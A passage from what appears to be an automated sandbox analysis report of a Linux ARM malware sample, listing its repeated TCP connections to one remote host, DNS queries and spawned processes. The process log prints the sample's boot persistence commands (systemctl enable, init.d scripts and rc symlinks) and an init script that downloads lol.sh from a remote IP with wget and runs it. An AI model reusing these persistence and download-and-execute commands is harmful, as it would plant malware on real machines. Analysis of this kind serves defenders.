                                                  Dec 27, 2024 09:20:52.355865955 CET382423831894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:52.356004000 CET3831838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:52.666469097 CET3832038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:52.785871029 CET382423832094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:52.785995960 CET3832038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:52.786107063 CET3832038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:52.908221960 CET382423832094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:53.293359995 CET3832038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:53.456412077 CET382423832094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:53.691162109 CET382423829494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:53.691235065 CET3829438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:54.023865938 CET382423832094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:54.023953915 CET3832038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:54.295510054 CET3832238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:54.415195942 CET382423832294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:54.415298939 CET3832238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:54.415375948 CET3832238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:54.534895897 CET382423832294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:54.922027111 CET3832238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:55.084310055 CET382423832294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:55.576462984 CET382423832294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:55.576586962 CET3832238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:55.924611092 CET3832438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:56.044359922 CET382423832494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:56.044509888 CET3832438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:56.044591904 CET3832438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:56.164218903 CET382423832494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:56.550822973 CET3832438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:56.712146044 CET382423832494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:57.223514080 CET382423832494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:57.223630905 CET3832438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:57.552233934 CET3832638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:57.672128916 CET382423832694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:57.672211885 CET3832638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:57.672250986 CET3832638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:57.792054892 CET382423832694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:58.176623106 CET3832638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:58.340172052 CET382423832694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:58.849710941 CET382423832694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:58.849881887 CET3832638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:59.178015947 CET3832838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:59.297529936 CET382423832894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:59.297637939 CET3832838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:59.297760010 CET3832838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:59.417191982 CET382423832894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:20:59.804689884 CET3832838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:20:59.968339920 CET382423832894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:00.493814945 CET382423832894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:00.494007111 CET3832838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:00.806250095 CET3833038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:00.925916910 CET382423833094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:00.925996065 CET3833038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:00.926033974 CET3833038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:01.045604944 CET382423833094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:01.432182074 CET3833038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:01.592304945 CET382423833094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:02.187663078 CET382423833094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:02.187808037 CET3833038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:02.433671951 CET3833238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:02.553174973 CET382423833294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:02.553262949 CET3833238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:02.553308964 CET3833238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:02.672828913 CET382423833294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:03.058620930 CET3833238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:03.220278978 CET382423833294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:03.716265917 CET382423833294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:03.716356993 CET3833238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:04.060017109 CET3833438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:04.179671049 CET382423833494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:04.179791927 CET3833438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:04.179851055 CET3833438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:04.299341917 CET382423833494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:04.685133934 CET3833438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:04.848280907 CET382423833494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:05.295541048 CET382423833494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:05.295710087 CET3833438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:05.686306000 CET3833638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:05.805787086 CET382423833694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:05.805854082 CET3833638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:05.805885077 CET3833638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:05.925304890 CET382423833694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:06.311691046 CET3833638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:06.476237059 CET382423833694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:07.094929934 CET382423833694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:07.095010042 CET3833638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:07.313214064 CET3833838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:07.432780027 CET382423833894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:07.433165073 CET3833838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:07.433165073 CET3833838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:07.552856922 CET382423833894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:07.938800097 CET3833838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:08.100281954 CET382423833894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:08.238004923 CET382423831294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:08.238152027 CET3831238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:08.554178953 CET382423833894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:08.554416895 CET3833838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:08.940673113 CET3834038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:09.061733961 CET382423834094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:09.061916113 CET3834038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:09.061964035 CET3834038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:09.181819916 CET382423834094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:09.568852901 CET3834038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:09.733982086 CET382423834094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:10.233086109 CET382423834094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:10.233289957 CET3834038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:10.570687056 CET3834238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:10.692125082 CET382423834294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:10.692245960 CET3834238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:10.692334890 CET3834238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:10.813527107 CET382423834294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:11.199640989 CET3834238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:11.360284090 CET382423834294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:11.871171951 CET382423834294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:11.871268988 CET3834238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:12.201451063 CET3834438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:12.321089983 CET382423834494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:12.321254969 CET3834438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:12.321363926 CET3834438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:12.440862894 CET382423834494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:12.827058077 CET3834438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:12.989747047 CET382423834494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:13.447175026 CET382423834494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:13.447324991 CET3834438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:13.828258991 CET3834638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:13.947824955 CET382423834694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:13.948076010 CET3834638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:13.948112011 CET3834638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:14.067636967 CET382423834694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:14.453159094 CET3834638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:14.616246939 CET382423834694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:15.145153046 CET382423834694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:15.145303011 CET3834638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:15.454132080 CET3834838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:15.573580027 CET382423834894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:15.573649883 CET3834838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:15.573672056 CET3834838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:15.693211079 CET382423834894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:16.079155922 CET3834838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:16.240524054 CET382423834894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:16.739667892 CET382423834894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:16.739803076 CET3834838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:17.080719948 CET3835038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:17.200530052 CET382423835094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:17.200623035 CET3835038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:17.200700045 CET3835038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:17.320153952 CET382423835094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:17.707241058 CET3835038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:17.868221045 CET382423835094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:18.454225063 CET382423835094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:18.454313040 CET3835038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:18.708993912 CET3835238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:18.828468084 CET382423835294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:18.828576088 CET3835238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:18.828619003 CET3835238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:18.948111057 CET382423835294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:19.333415985 CET3835238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:19.496308088 CET382423835294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:19.979430914 CET382423835294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:19.979593039 CET3835238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:20.334717035 CET3835438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:20.454137087 CET382423835494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:20.454318047 CET3835438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:20.454390049 CET3835438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:20.574099064 CET382423835494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:20.960335016 CET3835438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:21.120229006 CET382423835494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:21.599044085 CET382423835494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:21.599189997 CET3835438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:21.961211920 CET3835638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:22.081747055 CET382423835694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:22.081840992 CET3835638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:22.081896067 CET3835638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:22.201453924 CET382423835694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:22.585331917 CET3835638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:22.748270988 CET382423835694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:23.279553890 CET382423835694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:23.279650927 CET3835638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:23.586498022 CET3835838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:23.706120968 CET382423835894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:23.706182957 CET3835838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:23.706217051 CET3835838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:23.825669050 CET382423835894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:24.210438967 CET3835838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:21:24.372226000 CET382423835894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:24.919388056 CET382423835894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:21:24.919531107 CET3835838242192.168.2.1594.156.227.234

                                                  UDP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 27, 2024 09:19:23.085342884 CET4449453192.168.2.151.1.1.1
                                                  Dec 27, 2024 09:19:23.085423946 CET3576253192.168.2.151.1.1.1
                                                  Dec 27, 2024 09:19:23.223236084 CET53357621.1.1.1192.168.2.15
                                                  Dec 27, 2024 09:19:23.304033041 CET53444941.1.1.1192.168.2.15

                                                  DNS Queries

                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                  Dec 27, 2024 09:19:23.085342884 CET192.168.2.151.1.1.10xa2ffStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                                  Dec 27, 2024 09:19:23.085423946 CET192.168.2.151.1.1.10x20ddStandard query (0)daisy.ubuntu.com28IN (0x0001)false

                                                  DNS Answers

                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                  Dec 27, 2024 09:19:23.304033041 CET1.1.1.1192.168.2.150xa2ffNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                                                  Dec 27, 2024 09:19:23.304033041 CET1.1.1.1192.168.2.150xa2ffNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                                                  System Behavior

                                                  General

                                                  Start time (UTC):08:19:19
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:/tmp/arm5.nn.elf
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:19
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:19
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:sh -c "systemctl enable custom.service >/dev/null 2>&1"
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:19
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:19
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/bin/systemctl
                                                  Arguments:systemctl enable custom.service
                                                  File size:996584 bytes
                                                  MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/bin/chmod
                                                  Arguments:chmod +x /etc/init.d/system
                                                  File size:63864 bytes
                                                  MD5 hash:739483b900c045ae1374d6f53a86a279

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/bin/ln
                                                  Arguments:ln -s /etc/init.d/system /etc/rcS.d/S99system
                                                  File size:76160 bytes
                                                  MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm5.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm5.nn.elf'\n /tmp/arm5.nn.elf &\n wget http://94.156.227.229/lol.sh -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm5.nn.elf'\n killall arm5.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm5.nn.elf"
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:sh -c "chmod +x /etc/init.d/arm5.nn.elf >/dev/null 2>&1"
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/bin/chmod
                                                  Arguments:chmod +x /etc/init.d/arm5.nn.elf
                                                  File size:63864 bytes
                                                  MD5 hash:739483b900c045ae1374d6f53a86a279

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/bin/mkdir
                                                  Arguments:mkdir -p /etc/rc.d
                                                  File size:88408 bytes
                                                  MD5 hash:088c9d1df5a28ed16c726eca15964cb7

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:sh -c "ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf >/dev/null 2>&1"
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/bin/sh
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/bin/ln
                                                  Arguments:ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf
                                                  File size:76160 bytes
                                                  MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/arm5.nn.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:19
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/lib/udisks2/udisksd
                                                  Arguments:-
                                                  File size:483056 bytes
                                                  MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:19
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/sbin/dumpe2fs
                                                  Arguments:dumpe2fs -h /dev/dm-0
                                                  File size:31112 bytes
                                                  MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/lib/systemd/systemd
                                                  Arguments:-
                                                  File size:1620224 bytes
                                                  MD5 hash:9b2bec7092a40488108543f9334aab75

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                  Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                  File size:22760 bytes
                                                  MD5 hash:3633b075f40283ec938a2a6a89671b0e

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/lib/udisks2/udisksd
                                                  Arguments:-
                                                  File size:483056 bytes
                                                  MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:20
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/sbin/dumpe2fs
                                                  Arguments:dumpe2fs -h /dev/dm-0
                                                  File size:31112 bytes
                                                  MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:21
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/lib/udisks2/udisksd
                                                  Arguments:-
                                                  File size:483056 bytes
                                                  MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:21
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/sbin/dumpe2fs
                                                  Arguments:dumpe2fs -h /dev/dm-0
                                                  File size:31112 bytes
                                                  MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:21
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/lib/udisks2/udisksd
                                                  Arguments:-
                                                  File size:483056 bytes
                                                  MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):08:19:21
                                                  Start date (UTC):27/12/2024
                                                  Path:/usr/sbin/dumpe2fs
                                                  Arguments:dumpe2fs -h /dev/dm-0
                                                  File size:31112 bytes
